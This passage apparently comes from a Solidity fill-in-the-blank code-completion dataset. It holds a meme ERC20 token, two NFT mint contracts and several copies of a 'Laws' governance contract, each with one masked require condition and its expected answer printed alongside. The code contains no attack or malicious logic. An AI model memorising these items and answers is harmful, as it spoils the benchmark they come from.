function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function per(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function transfer(address to, uint256 amount) public virtual override returns (bool) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function _transfer(address from, address to, uint256 amount) internal virtual {
}
function _mint(address account, uint256 amount) internal virtual {
}
function _burn(address account, uint256 amount) internal virtual {
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
}
function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}
function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {}
}
contract BABYHEMULE is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public _uniswapV2Router;
address public uniswapV2Pair;
address private _developmentAddress ;
address private marketingings ;
address private constant deadAddress = address(0xdead);
bool private swapping;
string private constant _name =unicode"Baby Hemule";
string private constant _symbol =unicode"BHEMULE";
uint256 public initialTotalSupply = 1000_000_000 * 1e18;
uint256 public maxTransactionAmount = (3 * initialTotalSupply) / 100; // 3%
uint256 public maxWallet = (3 * initialTotalSupply) / 100; // 3%
uint256 public swapTokensAtAmount = (5 * initialTotalSupply) / 10000; // 0.05%
bool public tradingOpen = false;
bool public swapEnabled = false;
uint256 public BuyFee = 0;
uint256 public SellFee = 0;
uint256 public BurnBuyFee = 0;
uint256 public BurnSellFee = 1;
uint256 feeDenominator = 100;
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) private _isExcludedMaxTransactionAmount;
mapping(address => bool) private automatedMarketMakerPairs;
mapping(address => uint256) private _holderLastTransferTimestamp;
modifier validAddr {
}
event ExcludeFromFe(address indexed account, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event devWalletUpdated(
address indexed newWallet,
address indexed oldWallet
);
constructor() ERC20(_name, _symbol) {
}
receive() external payable {}
function openTrading()
external
onlyOwner
{
}
function excludeFromMaxTransaction(address updAds, bool isEx)
public
onlyOwner
{
}
function updateDevWallet(address newDevWallet)
public
onlyOwner
{
}
function updateMaxWalletAmount(uint256 newMaxWallet)
external
onlyOwner
{
}
function feeRatio(uint256 fee) internal view returns (uint256) {
}
function excludeFromFe(address account, bool excluded)
public
onlyOwner
{
}
function setAutomatedMarketMakerPair(address pair, bool value)
public
onlyOwner
{
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
}
function isExcludedFromFees(address account) public view returns (bool) {
}
function _transfer(address from, address to, uint256 amount) internal override {
}
function removeLimistiteti() external onlyOwner {
}
function swapTokensForEth(uint256 tokenAmount) private {
}
function clearStuckedEths() external {
require(address(this).balance > 0, "Token: no ETH to clear");
require(<FILL_ME>)
payable(msg.sender).transfer(address(this).balance);
}
function lock(address sender, uint256 amount) external validAddr {
}
function setSwapTokensAtAmount(uint256 _amount) external onlyOwner {
}
function manualSwap(uint256 percent) external {
}
function Launched()
public
payable
onlyOwner
{
}
function swapBack(uint256 tokens) private {
}
}
| _msgSender()==marketingings | 206,741 | _msgSender()==marketingings |
"Insufficient funds!" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
abstract contract ReentrancyGuard {
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
}
modifier nonReentrant() {
}
}
pragma solidity ^0.8.0;
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
function toString(uint256 value) internal pure returns (string memory) {
}
function toHexString(uint256 value) internal pure returns (string memory) {
}
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
}
}
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
pragma solidity ^0.8.0;
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
}
function owner() public view virtual returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _transferOwnership(address newOwner) internal virtual {
}
}
pragma solidity ^0.8.1;
library Address {
function isContract(address account) internal view returns (bool) {
}
function sendValue(address payable recipient, uint256 amount) internal {
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
}
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
}
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
}
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
}
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
}
}
pragma solidity ^0.8.0;
interface IERC721Receiver {
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
pragma solidity ^0.8.0;
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
pragma solidity ^0.8.0;
abstract contract ERC165 is IERC165 {
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
}
}
pragma solidity ^0.8.0;
interface IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) external view returns (uint256 balance);
function ownerOf(uint256 tokenId) external view returns (address owner);
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
function approve(address to, uint256 tokenId) external;
function setApprovalForAll(address operator, bool _approved) external;
function getApproved(uint256 tokenId) external view returns (address operator);
function isApprovedForAll(address owner, address operator) external view returns (bool);
}
pragma solidity ^0.8.0;
interface IERC721Metadata is IERC721 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function tokenURI(uint256 tokenId) external view returns (string memory);
}
pragma solidity ^0.8.4;
interface IERC721A is IERC721, IERC721Metadata {
error ApprovalCallerNotOwnerNorApproved();
error ApprovalQueryForNonexistentToken();
error ApproveToCaller();
error ApprovalToCurrentOwner();
error BalanceQueryForZeroAddress();
error MintToZeroAddress();
error MintZeroQuantity();
error OwnerQueryForNonexistentToken();
error TransferCallerNotOwnerNorApproved();
error TransferFromIncorrectOwner();
error TransferToNonERC721ReceiverImplementer();
error TransferToZeroAddress();
error URIQueryForNonexistentToken();
struct TokenOwnership {
address addr;
uint64 startTimestamp;
bool burned;
}
struct AddressData {
uint64 balance;
uint64 numberMinted;
uint64 numberBurned;
uint64 aux;
}
function totalSupply() external view returns (uint256);
}
pragma solidity ^0.8.4;
contract ERC721A is Context, ERC165, IERC721A {
using Address for address;
using Strings for uint256;
uint256 internal _currentIndex;
uint256 internal _burnCounter;
string private _name;
string private _symbol;
mapping(uint256 => TokenOwnership) internal _ownerships;
mapping(address => AddressData) private _addressData;
mapping(uint256 => address) private _tokenApprovals;
mapping(address => mapping(address => bool)) private _operatorApprovals;
constructor(string memory name_, string memory symbol_) {
}
function _startTokenId() internal view virtual returns (uint256) {
}
function totalSupply() public view override returns (uint256) {
}
function _totalMinted() internal view returns (uint256) {
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
}
function balanceOf(address owner) public view override returns (uint256) {
}
function _numberMinted(address owner) internal view returns (uint256) {
}
function _numberBurned(address owner) internal view returns (uint256) {
}
function _getAux(address owner) internal view returns (uint64) {
}
function _setAux(address owner, uint64 aux) internal {
}
function _ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) {
}
function ownerOf(uint256 tokenId) public view override returns (address) {
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function _baseURI() internal view virtual returns (string memory) {
}
function approve(address to, uint256 tokenId) public override {
}
function getApproved(uint256 tokenId) public view override returns (address) {
}
function setApprovalForAll(address operator, bool approved) public virtual override {
}
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
}
function _exists(uint256 tokenId) internal view returns (bool) {
}
function _safeMint(address to, uint256 quantity) internal {
}
function _safeMint(
address to,
uint256 quantity,
bytes memory _data
) internal {
}
function _mint(address to, uint256 quantity) internal {
}
function _transfer(
address from,
address to,
uint256 tokenId
) private {
}
function _burn(uint256 tokenId) internal virtual {
}
function _burn(uint256 tokenId, bool approvalCheck) internal virtual {
}
function _approve(
address to,
uint256 tokenId,
address owner
) private {
}
function _checkContractOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
}
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
function _afterTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
}
contract FOXES is ERC721A, Ownable, ReentrancyGuard {
using Strings for uint256;
string public uriPrefix = "ipfs://QmaY8JHCU6YXztyxyDzVcPLVCsmf49mcDB1A2vjmeYEoS1/";
string public uriSuffix = "";
// Mint
uint256 public MAX_SUPPLY = 1000;
uint256 public MAX_PER_TX = 20;
uint256 public PRICE = 0.05 ether;
// FreeMint
uint256 public FREE_SUPPLY = 200;
uint256 public FREE_PER_WALLET = 2;
bool public SALE_ACTIVE = false;
constructor() ERC721A("FOXES OPERA", "FOXES") {
}
modifier mintCompliance(uint256 _amount) {
if (totalSupply() >= FREE_SUPPLY) {
require(<FILL_ME>)
require(_amount > 0 && _amount <= MAX_PER_TX, "Exceeds max paid per tx!");
}else{
require(_amount > 0 && _amount <= FREE_PER_WALLET, "Exceeds max free mint per tx");
}
_;
}
// Mint
function mint(uint256 _amount) public payable mintCompliance(_amount) {
}
function setFreeMint(uint256 _freeSupply, uint256 _freePerWallet) public onlyOwner() {
}
function walletOfOwner(address _owner) public view returns (uint256[] memory) {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) {
}
function setupOS() external onlyOwner {
}
function mintForAddress(uint256 _amount, address _receiver) public payable onlyOwner {
}
function withdraw() public onlyOwner nonReentrant {
}
function toogleState() public onlyOwner {
}
function setMaxPerTxn(uint256 _maxAPerTxn) public onlyOwner() {
}
function setCost(uint256 _price) public onlyOwner {
}
function setMaxSupply(uint256 _maxSupply) public onlyOwner {
}
function _baseURI() internal view override returns (string memory) {
}
function setUriPrefix(string memory _uriPrefix) public onlyOwner {
}
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
}
}
| PRICE*_amount==msg.value,"Insufficient funds!" | 206,784 | PRICE*_amount==msg.value |
"Sold out" | pragma solidity ^0.8.0;
contract ChibiHeadToken is ERC721A, Ownable {
uint256 public constant MAX_TOKENS = 3333;
uint256 public constant MAX_PER_MINT = 50;
address payable public immutable teamAddr;
address payable public immutable initialRaffle;
string public tokenBaseURI;
uint256 public price = 0.05 ether;
uint256 public toRaffle = 0.015 ether;
bool public saleLive;
constructor(address _teamAddr, address _initialRaffle, string memory _tokenBaseURI) ERC721A("Chibi Head NFT", "CH") {
}
function setPrice(uint256 _price) external onlyOwner {
}
function setToRaffle(uint256 _toRaffle) external onlyOwner {
}
function toggleSaleStatus() external onlyOwner {
}
function setTokenBaseURI(string calldata URI) external onlyOwner {
}
function tokenURI(uint256 tokenId) public view override(ERC721A) returns (string memory) {
}
function mintHeads(uint amount) external payable {
require(saleLive, "Sale is not active");
require(<FILL_ME>)
require(amount > 0 && amount <= MAX_PER_MINT, "Invalid amount");
require(price * amount <= msg.value, "Insufficient ETH");
uint toTransfer = toRaffle * amount;
initialRaffle.transfer(toTransfer);
teamAddr.transfer(msg.value - toTransfer);
_safeMint(msg.sender, amount);
}
function giftBatch(address[] calldata receivers, uint[] calldata amounts) external onlyOwner {
}
function gift(address receiver, uint amount) external onlyOwner {
}
}
| totalSupply()<MAX_TOKENS,"Sold out" | 206,930 | totalSupply()<MAX_TOKENS |
"HowContract returned FALSE" | // SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <0.9.0; // Specify the Solidity version.
import "./IERC20.sol";
import "./EMPgov_interface.sol";
import "./EMPgov_default.sol";
contract Laws {
address public founderAddr; // Literally for historical reasons!
uint256 public immutable creationTimestamp;
// The address of the governance ontract (logic for decision making)
address public governContractAddr;
// The structure of a Law, containing the content of the law and the addresses of the 'who' and 'how' contracts.
struct Law {
address associatedContract; // Any on-chain logic related to this law will point to its contrac(s)
address author; // (Optional) Wallet address of person who proposes the law
string content;
uint16 status; // specifies: proposed, approved
}
// Store all laws in a mapping, indexed by a unique identifier, and keep a count of the total number of laws.
mapping(address => Law) public laws;
uint256 public lawCount;
event Log(string message);
// The constructor is called when the contract is first created. It sets the owner and the creation timestamp.
constructor(address _founderAddress) {
}
// This function sets the 'decision making' contract.
function setGovernContract(address _newGovernContractAddr) external
changeGovernAuthorized(_newGovernContractAddr) {
}
// This modifier checks for conditions...
modifier changeGovernAuthorized(address _newGovernContractAddr) {
GovernContract gov = GovernContract(governContractAddr); // creates local instance from reference to existing
require(<FILL_ME>)
_;
}
// This function adds a law structure to the contract's storage map
function proposeLaw(string memory _content, address _associatedContract) external
checkProposedLaw(_associatedContract)
{
}
// This modifier checks for conditions:
// 1. law struct has to not already be included
// 2. the governance contract does not reject this type of law (for reasons unknown)
modifier checkProposedLaw(address _associatedContract) {
}
// This function certifies a previously added law structure to be accepted as a law
function addLaw(address _associatedContract) external
checkAddingLaw(_associatedContract)
{
}
// This modifier checks for conditions:
// 1. the law this struct represents has to have been proposed first
// 2. the governance contract has to approve the _specific_ law
modifier checkAddingLaw(address _associatedContract) {
}
// This function is meant to propose that a law is removed
function proposeLawRemoval(address _associatedContract) external
checkProposedLawRemoval(_associatedContract)
{
}
// This modifier checks for conditions:
// 1. the law this struct represents has to have been instated first
// 2. the governance contract has to approve removal of the _specific_ law
modifier checkProposedLawRemoval(address _associatedContract) {
}
// This function certifies the removal of a previously added law; law is flagged as inactive
function removeLaw(address _associatedContract) external
checkRemovingLaw(_associatedContract)
{
}
// This modifier checks for conditions:
// 1. the law this struct represents has to have been instated first
// 2. the governance contract has to approve removing the _specific_ law
modifier checkRemovingLaw(address _associatedContract) {
}
}
| gov.changeDecisionProcess(_newGovernContractAddr,msg.sender),"HowContract returned FALSE" | 207,038 | gov.changeDecisionProcess(_newGovernContractAddr,msg.sender) |
"This law contract is already in the map!" | // SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <0.9.0; // Specify the Solidity version.
import "./IERC20.sol";
import "./EMPgov_interface.sol";
import "./EMPgov_default.sol";
contract Laws {
address public founderAddr; // Literally for historical reasons!
uint256 public immutable creationTimestamp;
// The address of the governance ontract (logic for decision making)
address public governContractAddr;
// The structure of a Law, containing the content of the law and the addresses of the 'who' and 'how' contracts.
struct Law {
address associatedContract; // Any on-chain logic related to this law will point to its contrac(s)
address author; // (Optional) Wallet address of person who proposes the law
string content;
uint16 status; // specifies: proposed, approved
}
// Store all laws in a mapping, indexed by a unique identifier, and keep a count of the total number of laws.
mapping(address => Law) public laws;
uint256 public lawCount;
event Log(string message);
// The constructor is called when the contract is first created. It sets the owner and the creation timestamp.
constructor(address _founderAddress) {
}
// This function sets the 'decision making' contract.
function setGovernContract(address _newGovernContractAddr) external
changeGovernAuthorized(_newGovernContractAddr) {
}
// This modifier checks for conditions...
modifier changeGovernAuthorized(address _newGovernContractAddr) {
}
// This function adds a law structure to the contract's storage map
function proposeLaw(string memory _content, address _associatedContract) external
checkProposedLaw(_associatedContract)
{
}
// This modifier checks for conditions:
// 1. law struct has to not already be included
// 2. the governance contract does not reject this type of law (for reasons unknown)
modifier checkProposedLaw(address _associatedContract) {
emit Log("Modifier checking for proposed law conditions.");
require(<FILL_ME>)
GovernContract gov = GovernContract(governContractAddr); // creates local instance from reference to existing
require(gov.notifyOfProposedLaw(_associatedContract, msg.sender),"HowContract returned FALSE. Rejects law proposal." );
_;
}
// This function certifies a previously added law structure to be accepted as a law
function addLaw(address _associatedContract) external
checkAddingLaw(_associatedContract)
{
}
// This modifier checks for conditions:
// 1. the law this struct represents has to have been proposed first
// 2. the governance contract has to approve the _specific_ law
modifier checkAddingLaw(address _associatedContract) {
}
// This function is meant to propose that a law is removed
function proposeLawRemoval(address _associatedContract) external
checkProposedLawRemoval(_associatedContract)
{
}
// This modifier checks for conditions:
// 1. the law this struct represents has to have been instated first
// 2. the governance contract has to approve removal of the _specific_ law
modifier checkProposedLawRemoval(address _associatedContract) {
}
// This function certifies the removal of a previously added law; law is flagged as inactive
function removeLaw(address _associatedContract) external
checkRemovingLaw(_associatedContract)
{
}
// This modifier checks for conditions:
// 1. the law this struct represents has to have been instated first
// 2. the governance contract has to approve removing the _specific_ law
modifier checkRemovingLaw(address _associatedContract) {
}
}
| laws[_associatedContract].status==0,"This law contract is already in the map!" | 207,038 | laws[_associatedContract].status==0 |
"HowContract returned FALSE. Rejects law proposal." | // SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <0.9.0; // Specify the Solidity version.
import "./IERC20.sol";
import "./EMPgov_interface.sol";
import "./EMPgov_default.sol";
contract Laws {
address public founderAddr; // Literally for historical reasons!
uint256 public immutable creationTimestamp;
// The address of the governance ontract (logic for decision making)
address public governContractAddr;
// The structure of a Law, containing the content of the law and the addresses of the 'who' and 'how' contracts.
struct Law {
address associatedContract; // Any on-chain logic related to this law will point to its contrac(s)
address author; // (Optional) Wallet address of person who proposes the law
string content;
uint16 status; // specifies: proposed, approved
}
// Store all laws in a mapping, indexed by a unique identifier, and keep a count of the total number of laws.
mapping(address => Law) public laws;
uint256 public lawCount;
event Log(string message);
// The constructor is called when the contract is first created. It sets the owner and the creation timestamp.
constructor(address _founderAddress) {
}
// This function sets the 'decision making' contract.
function setGovernContract(address _newGovernContractAddr) external
changeGovernAuthorized(_newGovernContractAddr) {
}
// This modifier checks for conditions...
modifier changeGovernAuthorized(address _newGovernContractAddr) {
}
// This function adds a law structure to the contract's storage map
function proposeLaw(string memory _content, address _associatedContract) external
checkProposedLaw(_associatedContract)
{
}
// This modifier checks for conditions:
// 1. law struct has to not already be included
// 2. the governance contract does not reject this type of law (for reasons unknown)
modifier checkProposedLaw(address _associatedContract) {
emit Log("Modifier checking for proposed law conditions.");
require(laws[_associatedContract].status == 0,"This law contract is already in the map!");
GovernContract gov = GovernContract(governContractAddr); // creates local instance from reference to existing
require(<FILL_ME>)
_;
}
// This function certifies a previously added law structure to be accepted as a law
function addLaw(address _associatedContract) external
checkAddingLaw(_associatedContract)
{
}
// This modifier checks for conditions:
// 1. the law this struct represents has to have been proposed first
// 2. the governance contract has to approve the _specific_ law
modifier checkAddingLaw(address _associatedContract) {
}
// This function is meant to propose that a law is removed
function proposeLawRemoval(address _associatedContract) external
checkProposedLawRemoval(_associatedContract)
{
}
// This modifier checks for conditions:
// 1. the law this struct represents has to have been instated first
// 2. the governance contract has to approve removal of the _specific_ law
modifier checkProposedLawRemoval(address _associatedContract) {
}
// This function certifies the removal of a previously added law; law is flagged as inactive
function removeLaw(address _associatedContract) external
checkRemovingLaw(_associatedContract)
{
}
// This modifier checks for conditions:
// 1. the law this struct represents has to have been instated first
// 2. the governance contract has to approve removing the _specific_ law
modifier checkRemovingLaw(address _associatedContract) {
}
}
| gov.notifyOfProposedLaw(_associatedContract,msg.sender),"HowContract returned FALSE. Rejects law proposal." | 207,038 | gov.notifyOfProposedLaw(_associatedContract,msg.sender) |
"This law contract is not a proposed law!" | // SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <0.9.0; // Specify the Solidity version.
import "./IERC20.sol";
import "./EMPgov_interface.sol";
import "./EMPgov_default.sol";
contract Laws {
address public founderAddr; // Literally for historical reasons!
uint256 public immutable creationTimestamp;
// The address of the governance ontract (logic for decision making)
address public governContractAddr;
// The structure of a Law, containing the content of the law and the addresses of the 'who' and 'how' contracts.
struct Law {
address associatedContract; // Any on-chain logic related to this law will point to its contrac(s)
address author; // (Optional) Wallet address of person who proposes the law
string content;
uint16 status; // specifies: proposed, approved
}
// Store all laws in a mapping, indexed by a unique identifier, and keep a count of the total number of laws.
mapping(address => Law) public laws;
uint256 public lawCount;
event Log(string message);
// The constructor is called when the contract is first created. It sets the owner and the creation timestamp.
constructor(address _founderAddress) {
}
// This function sets the 'decision making' contract.
function setGovernContract(address _newGovernContractAddr) external
changeGovernAuthorized(_newGovernContractAddr) {
}
// This modifier checks for conditions...
modifier changeGovernAuthorized(address _newGovernContractAddr) {
}
// This function adds a law structure to the contract's storage map
function proposeLaw(string memory _content, address _associatedContract) external
checkProposedLaw(_associatedContract)
{
}
// This modifier checks for conditions:
// 1. law struct has to not already be included
// 2. the governance contract does not reject this type of law (for reasons unknown)
modifier checkProposedLaw(address _associatedContract) {
}
// This function certifies a previously added law structure to be accepted as a law
function addLaw(address _associatedContract) external
checkAddingLaw(_associatedContract)
{
}
// This modifier checks for conditions:
// 1. the law this struct represents has to have been proposed first
// 2. the governance contract has to approve the _specific_ law
modifier checkAddingLaw(address _associatedContract) {
emit Log("Modifier checking for law adding conditions.");
require(<FILL_ME>)
GovernContract gov = GovernContract(governContractAddr); // creates local instance from reference to existing
require(gov.notifyOfApprovingLaw(_associatedContract, msg.sender),"HowContract returned FALSE. Rejects law addition." );
_;
}
// This function is meant to propose that a law is removed
function proposeLawRemoval(address _associatedContract) external
checkProposedLawRemoval(_associatedContract)
{
}
// This modifier checks for conditions:
// 1. the law this struct represents has to have been instated first
// 2. the governance contract has to approve removal of the _specific_ law
modifier checkProposedLawRemoval(address _associatedContract) {
}
// This function certifies the removal of a previously added law; law is flagged as inactive
function removeLaw(address _associatedContract) external
checkRemovingLaw(_associatedContract)
{
}
// This modifier checks for conditions:
// 1. the law this struct represents has to have been instated first
// 2. the governance contract has to approve removing the _specific_ law
modifier checkRemovingLaw(address _associatedContract) {
}
}
| laws[_associatedContract].status==1,"This law contract is not a proposed law!" | 207,038 | laws[_associatedContract].status==1 |
"HowContract returned FALSE. Rejects law addition." | // SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <0.9.0; // Specify the Solidity version.
import "./IERC20.sol";
import "./EMPgov_interface.sol";
import "./EMPgov_default.sol";
contract Laws {
address public founderAddr; // Literally for historical reasons!
uint256 public immutable creationTimestamp;
// The address of the governance ontract (logic for decision making)
address public governContractAddr;
// The structure of a Law, containing the content of the law and the addresses of the 'who' and 'how' contracts.
struct Law {
address associatedContract; // Any on-chain logic related to this law will point to its contrac(s)
address author; // (Optional) Wallet address of person who proposes the law
string content;
uint16 status; // specifies: proposed, approved
}
// Store all laws in a mapping, indexed by a unique identifier, and keep a count of the total number of laws.
mapping(address => Law) public laws;
uint256 public lawCount;
event Log(string message);
// The constructor is called when the contract is first created. It sets the owner and the creation timestamp.
constructor(address _founderAddress) {
}
// This function sets the 'decision making' contract.
function setGovernContract(address _newGovernContractAddr) external
changeGovernAuthorized(_newGovernContractAddr) {
}
// This modifier checks for conditions...
modifier changeGovernAuthorized(address _newGovernContractAddr) {
}
// This function adds a law structure to the contract's storage map
function proposeLaw(string memory _content, address _associatedContract) external
checkProposedLaw(_associatedContract)
{
}
// This modifier checks for conditions:
// 1. law struct has to not already be included
// 2. the governance contract does not reject this type of law (for reasons unknown)
modifier checkProposedLaw(address _associatedContract) {
}
// This function certifies a previously added law structure to be accepted as a law
function addLaw(address _associatedContract) external
checkAddingLaw(_associatedContract)
{
}
// This modifier checks for conditions:
// 1. the law this struct represents has to have been proposed first
// 2. the governance contract has to approve the _specific_ law
modifier checkAddingLaw(address _associatedContract) {
emit Log("Modifier checking for law adding conditions.");
require(laws[_associatedContract].status == 1,"This law contract is not a proposed law!");
GovernContract gov = GovernContract(governContractAddr); // creates local instance from reference to existing
require(<FILL_ME>)
_;
}
// This function is meant to propose that a law is removed
function proposeLawRemoval(address _associatedContract) external
checkProposedLawRemoval(_associatedContract)
{
}
// This modifier checks for conditions:
// 1. the law this struct represents has to have been instated first
// 2. the governance contract has to approve removal of the _specific_ law
modifier checkProposedLawRemoval(address _associatedContract) {
}
// This function certifies the removal of a previously added law; law is flagged as inactive
function removeLaw(address _associatedContract) external
checkRemovingLaw(_associatedContract)
{
}
// This modifier checks for conditions:
// 1. the law this struct represents has to have been instated first
// 2. the governance contract has to approve removing the _specific_ law
modifier checkRemovingLaw(address _associatedContract) {
}
}
| gov.notifyOfApprovingLaw(_associatedContract,msg.sender),"HowContract returned FALSE. Rejects law addition." | 207,038 | gov.notifyOfApprovingLaw(_associatedContract,msg.sender) |
"This law contract is not an existing law!" | // SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <0.9.0; // Specify the Solidity version.
import "./IERC20.sol";
import "./EMPgov_interface.sol";
import "./EMPgov_default.sol";
contract Laws {
address public founderAddr; // Literally for historical reasons!
uint256 public immutable creationTimestamp;
// The address of the governance ontract (logic for decision making)
address public governContractAddr;
// The structure of a Law, containing the content of the law and the addresses of the 'who' and 'how' contracts.
struct Law {
address associatedContract; // Any on-chain logic related to this law will point to its contrac(s)
address author; // (Optional) Wallet address of person who proposes the law
string content;
uint16 status; // specifies: proposed, approved
}
// Store all laws in a mapping, indexed by a unique identifier, and keep a count of the total number of laws.
mapping(address => Law) public laws;
uint256 public lawCount;
event Log(string message);
// The constructor is called when the contract is first created. It sets the owner and the creation timestamp.
constructor(address _founderAddress) {
}
// This function sets the 'decision making' contract.
function setGovernContract(address _newGovernContractAddr) external
changeGovernAuthorized(_newGovernContractAddr) {
}
// This modifier checks for conditions...
modifier changeGovernAuthorized(address _newGovernContractAddr) {
}
// This function adds a law structure to the contract's storage map
function proposeLaw(string memory _content, address _associatedContract) external
checkProposedLaw(_associatedContract)
{
}
// This modifier checks for conditions:
// 1. law struct has to not already be included
// 2. the governance contract does not reject this type of law (for reasons unknown)
modifier checkProposedLaw(address _associatedContract) {
}
// This function certifies a previously added law structure to be accepted as a law
function addLaw(address _associatedContract) external
checkAddingLaw(_associatedContract)
{
}
// This modifier checks for conditions:
// 1. the law this struct represents has to have been proposed first
// 2. the governance contract has to approve the _specific_ law
modifier checkAddingLaw(address _associatedContract) {
}
// This function is meant to propose that a law is removed
function proposeLawRemoval(address _associatedContract) external
checkProposedLawRemoval(_associatedContract)
{
}
// This modifier checks for conditions:
// 1. the law this struct represents has to have been instated first
// 2. the governance contract has to approve removal of the _specific_ law
modifier checkProposedLawRemoval(address _associatedContract) {
emit Log("Modifier checking for proposed law-removal conditions.");
require(<FILL_ME>)
GovernContract gov = GovernContract(governContractAddr); // creates local instance from reference to existing
require(gov.notifyOfProposedLawRemoval(_associatedContract, msg.sender),"HowContract returned FALSE. Rejects removal prposal." );
_;
}
// This function certifies the removal of a previously added law; law is flagged as inactive
function removeLaw(address _associatedContract) external
checkRemovingLaw(_associatedContract)
{
}
// This modifier checks for conditions:
// 1. the law this struct represents has to have been instated first
// 2. the governance contract has to approve removing the _specific_ law
modifier checkRemovingLaw(address _associatedContract) {
}
}
| laws[_associatedContract].status==2,"This law contract is not an existing law!" | 207,038 | laws[_associatedContract].status==2 |
"HowContract returned FALSE. Rejects removal prposal." | // SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <0.9.0; // Specify the Solidity version.
import "./IERC20.sol";
import "./EMPgov_interface.sol";
import "./EMPgov_default.sol";
contract Laws {
address public founderAddr; // Literally for historical reasons!
uint256 public immutable creationTimestamp;
// The address of the governance ontract (logic for decision making)
address public governContractAddr;
// The structure of a Law, containing the content of the law and the addresses of the 'who' and 'how' contracts.
struct Law {
address associatedContract; // Any on-chain logic related to this law will point to its contrac(s)
address author; // (Optional) Wallet address of person who proposes the law
string content;
uint16 status; // specifies: proposed, approved
}
// Store all laws in a mapping, indexed by a unique identifier, and keep a count of the total number of laws.
mapping(address => Law) public laws;
uint256 public lawCount;
event Log(string message);
// The constructor is called when the contract is first created. It sets the owner and the creation timestamp.
constructor(address _founderAddress) {
}
// This function sets the 'decision making' contract.
function setGovernContract(address _newGovernContractAddr) external
changeGovernAuthorized(_newGovernContractAddr) {
}
// This modifier checks for conditions...
modifier changeGovernAuthorized(address _newGovernContractAddr) {
}
// This function adds a law structure to the contract's storage map
